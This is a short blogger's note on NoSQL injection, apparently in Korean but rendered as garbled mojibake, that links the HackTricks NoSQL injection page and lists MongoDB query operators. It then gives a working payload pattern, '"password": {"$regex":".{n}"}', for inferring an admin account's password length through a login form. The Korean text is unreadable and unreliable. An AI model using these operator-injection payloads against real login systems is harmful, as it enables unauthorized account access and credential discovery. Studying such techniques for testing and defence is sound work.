๐์ ๋ณด๋ณด์/์น ๋ณด์
์น ํดํน - NoSQL Injection ์กฐ๊ฑด ํํ์
Janger
2021. 12. 9. 00:27
728x90
https://book.hacktricks.xyz/pentesting-web/nosql-injection
NoSQL injection - HackTricks
Brute-force login usernames and passwords from POST login
book.hacktricks.xyz
[$ne] : ๊ฐ์ง ์์ ๊ฒฝ์ฐ(not equals)
[$regex] : ์ ๊ทํํ์
[$eq] : ๊ฐ๋ค(=)
[$lt] : ์๋ค(<)
[$gt] : ํฌ๋ค(>)
[$lte] : ์๊ฑฐ๋ ๊ฐ๋ค(<)
[$gte] : ํฌ๊ฑฐ๋ ๊ฐ๋ค(>)
$regex๋ก ํจ์ค์๋ ๊ธธ์ด ์์๋ด๊ธฐ
"password": {"$regex":".{1}"} => admin
"password": {"$regex":".{2}"} => admin
...
"password": {"$regex":".{5}"} => admin (5 ๊ธ์!)
"password": {"$regex":".{6}"} => undefined
728x90